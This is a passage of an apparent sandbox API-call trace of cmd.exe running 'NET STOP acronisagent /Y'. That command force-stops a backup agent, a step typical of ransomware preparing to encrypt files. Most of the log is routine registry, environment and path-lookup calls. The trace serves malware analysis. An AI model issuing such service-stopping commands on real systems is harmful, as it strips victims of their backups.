lpSystemTimeAsFileTime=0x3bfedc | out: lpSystemTimeAsFileTime=0x3bfedc*(dwLowDateTime=0xd7e8a080, dwHighDateTime=0x1d4abdd)) [0036.998] GetCurrentProcessId () returned 0xa78 [0036.998] GetCurrentThreadId () returned 0xa7c [0036.998] GetTickCount () returned 0x19b45 [0036.998] QueryPerformanceCounter (in: lpPerformanceCount=0x3bfed4 | out: lpPerformanceCount=0x3bfed4*=1811222800000) returned 1 [0037.000] GetModuleHandleA (lpModuleName=0x0) returned 0x4a750000 [0037.000] __set_app_type (_Type=0x1) [0037.000] __p__fmode () returned 0x75ed31f4 [0037.000] __p__commode () returned 0x75ed31fc [0037.000] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a7721a6) returned 0x0 [0037.000] __getmainargs (in: _Argc=0x4a774238, _Argv=0x4a774240, _Env=0x4a77423c, _DoWildCard=0, _StartInfo=0x4a774140 | out: _Argc=0x4a774238, _Argv=0x4a774240, _Env=0x4a77423c) returned 0 [0037.000] GetCurrentThreadId () returned 0xa7c [0037.000] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa7c) returned 0x60 [0037.000] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0037.000] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0037.001] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.001] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0037.001] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3bfe6c | out: phkResult=0x3bfe6c*=0x0) returned 0x2 [0037.001] VirtualQuery (in: lpAddress=0x3bfea3, lpBuffer=0x3bfe3c, dwLength=0x1c | out: lpBuffer=0x3bfe3c*(BaseAddress=0x3bf000, AllocationBase=0x2c0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0037.001] VirtualQuery (in: lpAddress=0x2c0000, lpBuffer=0x3bfe3c, dwLength=0x1c | out: lpBuffer=0x3bfe3c*(BaseAddress=0x2c0000, AllocationBase=0x2c0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0037.001] VirtualQuery (in: lpAddress=0x2c1000, lpBuffer=0x3bfe3c, dwLength=0x1c | out: lpBuffer=0x3bfe3c*(BaseAddress=0x2c1000, AllocationBase=0x2c0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0037.001] VirtualQuery (in: lpAddress=0x2c3000, lpBuffer=0x3bfe3c, dwLength=0x1c | out: lpBuffer=0x3bfe3c*(BaseAddress=0x2c3000, AllocationBase=0x2c0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0037.001] VirtualQuery (in: lpAddress=0x3c0000, lpBuffer=0x3bfe3c, dwLength=0x1c | out: lpBuffer=0x3bfe3c*(BaseAddress=0x3c0000, AllocationBase=0x3c0000, AllocationProtect=0x2, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0037.001] GetConsoleOutputCP () returned 0x1b5 [0037.002] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a774260 | out: lpCPInfo=0x4a774260) returned 1 [0037.002] SetConsoleCtrlHandler (HandlerRoutine=0x4a76e72a, Add=1) returned 1 [0037.002] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.002] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0037.002] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.002] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a7741ac | out: lpMode=0x4a7741ac) returned 1 [0037.002] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.002] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.003] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.003] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a7741b0 | out: lpMode=0x4a7741b0) returned 1 [0037.003] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.003] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0037.003] GetEnvironmentStringsW () returned 0x792b18* [0037.003] FreeEnvironmentStringsW (penv=0x792b18) returned 1 [0037.004] GetEnvironmentStringsW () returned 0x792b18* [0037.004] FreeEnvironmentStringsW (penv=0x792b18) returned 1 [0037.004] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3beddc | out: phkResult=0x3beddc*=0x6c) returned 0x0 [0037.004] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3bede4, lpData=0x3bede8, lpcbData=0x3bede0*=0x1000 | out: lpType=0x3bede4*=0x0, lpData=0x3bede8*=0x32, lpcbData=0x3bede0*=0x1000) returned 0x2 [0037.004] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3bede4, lpData=0x3bede8, lpcbData=0x3bede0*=0x1000 | out: lpType=0x3bede4*=0x4, lpData=0x3bede8*=0x1, lpcbData=0x3bede0*=0x4) returned 0x0 [0037.004] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3bede4, lpData=0x3bede8, lpcbData=0x3bede0*=0x1000 | out: lpType=0x3bede4*=0x0, lpData=0x3bede8*=0x1, lpcbData=0x3bede0*=0x1000) returned 0x2 [0037.004] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3bede4, lpData=0x3bede8, lpcbData=0x3bede0*=0x1000 | out: lpType=0x3bede4*=0x4, lpData=0x3bede8*=0x0, lpcbData=0x3bede0*=0x4) returned 0x0 [0037.004] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3bede4, lpData=0x3bede8, lpcbData=0x3bede0*=0x1000 | out: lpType=0x3bede4*=0x4, lpData=0x3bede8*=0x40, lpcbData=0x3bede0*=0x4) returned 0x0 [0037.004] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3bede4, lpData=0x3bede8, lpcbData=0x3bede0*=0x1000 | out: lpType=0x3bede4*=0x4, lpData=0x3bede8*=0x40, lpcbData=0x3bede0*=0x4) returned 0x0 [0037.004] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3bede4, lpData=0x3bede8, lpcbData=0x3bede0*=0x1000 | out: lpType=0x3bede4*=0x0, lpData=0x3bede8*=0x40, lpcbData=0x3bede0*=0x1000) returned 0x2 [0037.004] RegCloseKey (hKey=0x6c) returned 0x0 [0037.004] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3beddc | out: phkResult=0x3beddc*=0x6c) returned 0x0 [0037.004] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3bede4, lpData=0x3bede8, lpcbData=0x3bede0*=0x1000 | out: lpType=0x3bede4*=0x0, lpData=0x3bede8*=0x40, lpcbData=0x3bede0*=0x1000) returned 0x2 [0037.004] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3bede4, lpData=0x3bede8, lpcbData=0x3bede0*=0x1000 | out: lpType=0x3bede4*=0x4, lpData=0x3bede8*=0x1, lpcbData=0x3bede0*=0x4) returned 0x0 [0037.005] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3bede4, lpData=0x3bede8, lpcbData=0x3bede0*=0x1000 | out: lpType=0x3bede4*=0x0, lpData=0x3bede8*=0x1, lpcbData=0x3bede0*=0x1000) returned 0x2 [0037.005] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3bede4, lpData=0x3bede8, lpcbData=0x3bede0*=0x1000 | out: lpType=0x3bede4*=0x4, lpData=0x3bede8*=0x0, lpcbData=0x3bede0*=0x4) returned 0x0 [0037.005] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3bede4, lpData=0x3bede8, lpcbData=0x3bede0*=0x1000 | out: lpType=0x3bede4*=0x4, lpData=0x3bede8*=0x9, lpcbData=0x3bede0*=0x4) returned 0x0 [0037.005] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3bede4, lpData=0x3bede8, lpcbData=0x3bede0*=0x1000 | out: lpType=0x3bede4*=0x4, lpData=0x3bede8*=0x9, lpcbData=0x3bede0*=0x4) returned 0x0 [0037.005] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3bede4, lpData=0x3bede8, lpcbData=0x3bede0*=0x1000 | out: lpType=0x3bede4*=0x0, lpData=0x3bede8*=0x9, lpcbData=0x3bede0*=0x1000) returned 0x2 [0037.005] RegCloseKey (hKey=0x6c) returned 0x0 [0037.005] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f4f [0037.005] srand (_Seed=0x5c3c3f4f) [0037.005] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c NET STOP acronisagent /Y" [0037.005] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c NET STOP acronisagent /Y" [0037.005] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a775260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0037.005] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x794ba8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0037.006] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a780640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0037.006] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a780640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0037.006] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a780640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0037.006] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0037.006] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0037.006] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0037.006] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0037.006] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0037.006] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0037.006] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0037.006] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0037.006] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0037.006] GetEnvironmentStringsW () returned 0x792b18* [0037.007] FreeEnvironmentStringsW (penv=0x792b18) returned 1 [0037.007] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a780640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0037.007] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a780640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0037.007] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0037.007] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0037.007] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0037.007] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0037.007] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0037.007] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0037.007] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0037.007] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0037.007] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3bfba8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0037.007] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3bfba8, lpFilePart=0x3bfba4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3bfba4*="Desktop") returned 0x25 [0037.007] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0037.007] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3bf924 | out: lpFindFileData=0x3bf924) returned 0x791db0 [0037.007] FindClose (in: hFindFile=0x791db0 | out: hFindFile=0x791db0) returned 1 [0037.008] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3bf924 | out: lpFindFileData=0x3bf924) returned 0x791db0 [0037.008] FindClose (in: hFindFile=0x791db0 | out: hFindFile=0x791db0) returned 1 [0037.008] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0037.008] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3bf924 | out: lpFindFileData=0x3bf924) returned 0x791db0 [0037.008] FindClose (in: hFindFile=0x791db0 | out: hFindFile=0x791db0) returned 1 [0037.008] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0037.008] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0037.008] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0037.008] GetEnvironmentStringsW () returned 0x792b18* [0037.008] FreeEnvironmentStringsW (penv=0x792b18) returned 1 [0037.008] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a775260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0037.009] GetConsoleOutputCP () returned 0x1b5 [0037.009] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a774260 | out: lpCPInfo=0x4a774260) returned 1 [0037.009] GetUserDefaultLCID () returned 0x409 [0037.010] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a774950, cchData=8 | out: lpLCData=":") returned 2 [0037.010] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3bfce8, cchData=128 | out: lpLCData="0") returned 2 [0037.010] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3bfce8, cchData=128 | out: lpLCData="0") returned 2 [0037.010] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3bfce8, cchData=128 | out: lpLCData="1") returned 2 [0037.010] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a774940, cchData=8 | out: lpLCData="/") returned 2 [0037.010] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a774d80, cchData=32 | out: lpLCData="Mon") returned 4 [0037.010] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a774d40, cchData=32 | out: lpLCData="Tue") returned 4 [0037.010] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a774d00, cchData=32 | out: lpLCData="Wed") returned 4 [0037.010] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a774cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0037.010] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a774c80, cchData=32 | out: lpLCData="Fri") returned 4 [0037.011] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a774c40, cchData=32 | out: lpLCData="Sat") returned 4 [0037.011] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a774c00, cchData=32 | out: lpLCData="Sun") returned 4 [0037.011] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a774930, cchData=8 | out: lpLCData=".") returned 2 [0037.011] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a774920, cchData=8 | out: lpLCData=",") returned 2 [0037.011] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0037.012] GetConsoleTitleW (in: lpConsoleTitle=0x7958f8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0037.012] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0037.012] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0037.012] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0037.012] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0037.013] _wcsicmp (_String1="NET", _String2=")") returned 69 [0037.013] _wcsicmp (_String1="FOR", _String2="NET") returned -8 [0037.013] _wcsicmp (_String1="FOR/?", _String2="NET") returned -8 [0037.013] _wcsicmp (_String1="IF", _String2="NET") returned -5 [0037.013] _wcsicmp (_String1="IF/?", _String2="NET") returned -5 [0037.013] _wcsicmp (_String1="REM", _String2="NET") returned 4 [0037.013] _wcsicmp (_String1="REM/?", _String2="NET") returned 4 [0037.015] GetConsoleTitleW (in: lpConsoleTitle=0x3bf9e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0037.015] _wcsicmp (_String1="NET", _String2="DIR") returned 10 [0037.015] _wcsicmp (_String1="NET", _String2="ERASE") returned 9 [0037.015] _wcsicmp (_String1="NET", _String2="DEL") returned 10 [0037.015] _wcsicmp (_String1="NET", _String2="TYPE") returned -6 [0037.015] _wcsicmp (_String1="NET", _String2="COPY") returned 11 [0037.015] _wcsicmp (_String1="NET", _String2="CD") returned 11 [0037.015] _wcsicmp (_String1="NET", _String2="CHDIR") returned 11 [0037.015] _wcsicmp (_String1="NET", _String2="RENAME") returned -4 [0037.015] _wcsicmp (_String1="NET", _String2="REN") returned -4 [0037.015] _wcsicmp (_String1="NET", _String2="ECHO") returned 9 [0037.015] _wcsicmp (_String1="NET", _String2="SET") returned -5 [0037.015] _wcsicmp (_String1="NET", _String2="PAUSE") returned -2 [0037.015] _wcsicmp (_String1="NET", _String2="DATE") returned 10 [0037.015] _wcsicmp (_String1="NET", _String2="TIME") returned -6 [0037.015] _wcsicmp (_String1="NET", _String2="PROMPT") returned -2 [0037.015] _wcsicmp (_String1="NET", _String2="MD") returned 1 [0037.015] _wcsicmp (_String1="NET", _String2="MKDIR") returned 1 [0037.016] _wcsicmp (_String1="NET", _String2="RD") returned -4 [0037.016] _wcsicmp (_String1="NET", _String2="RMDIR") returned -4 [0037.016] _wcsicmp (_String1="NET", _String2="PATH") returned -2 [0037.016] _wcsicmp (_String1="NET", _String2="GOTO") returned 7 [0037.016] _wcsicmp (_String1="NET", _String2="SHIFT") returned -5 [0037.016] _wcsicmp (_String1="NET", _String2="CLS") returned 11 [0037.016] _wcsicmp (_String1="NET", _String2="CALL") returned 11 [0037.016] _wcsicmp (_String1="NET", _String2="VERIFY") returned -8 [0037.016] _wcsicmp (_String1="NET", _String2="VER") returned -8 [0037.016] _wcsicmp (_String1="NET", _String2="VOL") returned -8 [0037.016] _wcsicmp (_String1="NET", _String2="EXIT") returned 9 [0037.016] _wcsicmp (_String1="NET", _String2="SETLOCAL") returned -5 [0037.016] _wcsicmp (_String1="NET", _String2="ENDLOCAL") returned 9 [0037.016] _wcsicmp (_String1="NET", _String2="TITLE") returned -6 [0037.016] _wcsicmp (_String1="NET", _String2="START") returned -5 [0037.016] _wcsicmp (_String1="NET", _String2="DPATH") returned 10 [0037.016] _wcsicmp (_String1="NET", _String2="KEYS") returned 3 [0037.016] _wcsicmp (_String1="NET", _String2="MOVE") returned 1 [0037.016] _wcsicmp (_String1="NET", _String2="PUSHD") returned -2 [0037.016] _wcsicmp (_String1="NET", _String2="POPD") returned -2 [0037.016] _wcsicmp (_String1="NET", _String2="ASSOC") returned 13 [0037.016] _wcsicmp (_String1="NET", _String2="FTYPE") returned 8 [0037.016] _wcsicmp (_String1="NET", _String2="BREAK") returned 12 [0037.016] _wcsicmp (_String1="NET", _String2="COLOR") returned 11 [0037.016] _wcsicmp (_String1="NET", _String2="MKLINK") returned 1 [0037.016] _wcsicmp (_String1="NET", _String2="DIR") returned 10 [0037.016] _wcsicmp (_String1="NET", _String2="ERASE") returned 9 [0037.016] _wcsicmp (_String1="NET", _String2="DEL") returned 10 [0037.016] _wcsicmp (_String1="NET", _String2="TYPE") returned -6 [0037.016] _wcsicmp (_String1="NET", _String2="COPY") returned 11 [0037.017] _wcsicmp (_String1="NET", _String2="CD") returned 11 [0037.017] _wcsicmp (_String1="NET", _String2="CHDIR") returned 11 [0037.017] _wcsicmp (_String1="NET", _String2="RENAME") returned -4 [0037.017] _wcsicmp (_String1="NET", _String2="REN") returned -4 [0037.017] _wcsicmp (_String1="NET", _String2="ECHO") returned 9 [0037.017] _wcsicmp (_String1="NET", _String2="SET") returned -5 [0037.017] _wcsicmp (_String1="NET", _String2="PAUSE") returned -2 [0037.017] _wcsicmp (_String1="NET", _String2="DATE") returned 10 [0037.017] _wcsicmp (_String1="NET", _String2="TIME") returned -6 [0037.017] _wcsicmp (_String1="NET", _String2="PROMPT") returned -2 [0037.017] _wcsicmp (_String1="NET", _String2="MD") returned 1 [0037.017] _wcsicmp (_String1="NET", _String2="MKDIR") returned 1 [0037.017] _wcsicmp (_String1="NET", _String2="RD") returned -4 [0037.017] _wcsicmp (_String1="NET", _String2="RMDIR") returned -4 [0037.017] _wcsicmp (_String1="NET", _String2="PATH") returned -2 [0037.017] _wcsicmp (_String1="NET", _String2="GOTO") returned 7 [0037.017] _wcsicmp (_String1="NET", _String2="SHIFT") returned -5 [0037.017] _wcsicmp (_String1="NET", _String2="CLS") returned 11 [0037.017] _wcsicmp (_String1="NET", _String2="CALL") returned 11 [0037.017] _wcsicmp (_String1="NET", _String2="VERIFY") returned -8 [0037.017] _wcsicmp (_String1="NET", _String2="VER") returned -8 [0037.017] _wcsicmp (_String1="NET", _String2="VOL") returned -8 [0037.017] _wcsicmp (_String1="NET", _String2="EXIT") returned 9 [0037.017] _wcsicmp (_String1="NET", _String2="SETLOCAL") returned -5 [0037.017] _wcsicmp (_String1="NET", _String2="ENDLOCAL") returned 9 [0037.017] _wcsicmp (_String1="NET", _String2="TITLE") returned -6 [0037.017] _wcsicmp (_String1="NET", _String2="START") returned -5 [0037.017] _wcsicmp (_String1="NET", _String2="DPATH") returned 10 [0037.017] _wcsicmp (_String1="NET", _String2="KEYS") returned 3 [0037.017] _wcsicmp (_String1="NET", _String2="MOVE") returned 1 [0037.017] _wcsicmp (_String1="NET", _String2="PUSHD") returned -2 [0037.017] _wcsicmp (_String1="NET", _String2="POPD") returned -2 [0037.017] _wcsicmp (_String1="NET", _String2="ASSOC") returned 13 [0037.018] _wcsicmp (_String1="NET", _String2="FTYPE") returned 8 [0037.018] _wcsicmp (_String1="NET", _String2="BREAK") returned 12 [0037.018] _wcsicmp (_String1="NET", _String2="COLOR") returned 11 [0037.018] _wcsicmp (_String1="NET", _String2="MKLINK") returned 1 [0037.018] _wcsicmp (_String1="NET", _String2="FOR") returned 8 [0037.018] _wcsicmp (_String1="NET", _String2="IF") returned 5 [0037.018] _wcsicmp (_String1="NET", _String2="REM") returned -4 [0037.018] _wcsnicmp (_String1="NET", _String2="cmd ", _MaxCount=0x4) returned 11 [0037.018] SetErrorMode (uMode=0x0) returned 0x0 [0037.018] SetErrorMode (uMode=0x1) returned 0x0 [0037.018] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x795db8, lpFilePart=0x3bf500 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3bf500*="Desktop") returned 0x25 [0037.018] SetErrorMode (uMode=0x0) returned 0x1 [0037.019] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a780640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0037.019] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0037.026] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a780640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0037.028] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0037.028] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NET.*", fInfoLevelId=0x1, lpFindFileData=0x3bf27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3bf27c) returned 0xffffffff [0037.028] GetLastError () returned 0x2 [0037.028] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NET", fInfoLevelId=0x1, lpFindFileData=0x3bf27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3bf27c) returned 0xffffffff [0037.028] GetLastError () returned 0x2 [0037.028] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0037.028] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\NET.*", fInfoLevelId=0x1, lpFindFileData=0x3bf27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3bf27c) returned 0x7960f0 [0037.028] FindClose (in: hFindFile=0x7960f0 | out: hFindFile=0x7960f0) returned 1 [0037.029] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\net.COM", fInfoLevelId=0x1, lpFindFileData=0x3bf27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3bf27c) returned 0xffffffff [0037.029] GetLastError () returned 0x2 [0037.029] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\net.EXE", fInfoLevelId=0x1, lpFindFileData=0x3bf27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3bf27c) returned 0x7960f0 [0037.029] FindClose (in: hFindFile=0x7960f0 | out: hFindFile=0x7960f0) returned 1 [0037.029] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0037.029] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0037.029] GetConsoleTitleW (in: lpConsoleTitle=0x3bf774, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0037.029] InitializeProcThreadAttributeList (in: lpAttributeList=0x3bf5fc, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3bf6c4 | out: lpAttributeList=0x3bf5fc, lpSize=0x3bf6c4) returned 1 [0037.029] UpdateProcThreadAttribute (in: lpAttributeList=0x3bf5fc, dwFlags=0x0, Attribute=0x60001, lpValue=0x3bf6bc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3bf5fc, lpPreviousValue=0x0) returned 1 [0037.029] GetStartupInfoW (in: lpStartupInfo=0x3bf5b8 | out: lpStartupInfo=0x3bf5b8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x7819c2, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0037.030] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0037.030] 